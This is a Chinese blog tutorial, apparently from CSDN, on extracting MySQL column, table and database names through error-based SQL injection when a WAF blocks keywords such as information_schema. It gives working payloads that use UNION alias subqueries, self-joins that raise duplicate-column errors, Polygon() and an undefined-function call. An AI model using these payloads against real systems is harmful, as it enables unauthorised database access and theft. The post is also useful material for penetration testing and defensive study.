mysql注入爆表_mysql注入

mysql注入可报错时爆表名、字段名、库名

已知某个地方有注入,waf拦截了information_schema、columns、tables、database、schema等关键字或函数,我们如何去获取当前表名,字段名和库名呢?

字段名

常见的做法有利用union搭配别名子查询,在不知道字段的时候进行注入。

例如:

select * from test where id =1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from test)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

但是如果再进行限制,不允许使用union 该怎么破呢?

今天在翻阅Orange大大的博客,发现在11年hitcon中,有一个应用点类似下面:

select name from test where id=1 and (select * from (select * from test as a join test as b) as c);

可以看到mysql返回一个报错如下:

4abd8661bf22b1e03fc06c919bb15008.png

把当前表第一个字段成功爆出来了。

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

同时,可以利用using爆其他字段

select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as c);

5fc3deb55b7bec1dfbf7a3f1dcc232aa.png

表名

翻阅mysql的文档发现了一个非常好玩的函数

Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL

如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。

52e126d2eefa2e39c2925ce72d0563b9.png

库名

上面的方法已经可以爆出库名了,但是如果我无限限制payload长度又如何? 比如 四字节?

test it 🙂

select * from users where uid =1-a();

c740b74e7b1e3bd2cdbe178b0f443525.png

库名成功出来了,原理:一个库中存在不同的系统或自定义函数,如果函数不存在,他就会爆出这个库没有此函数。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值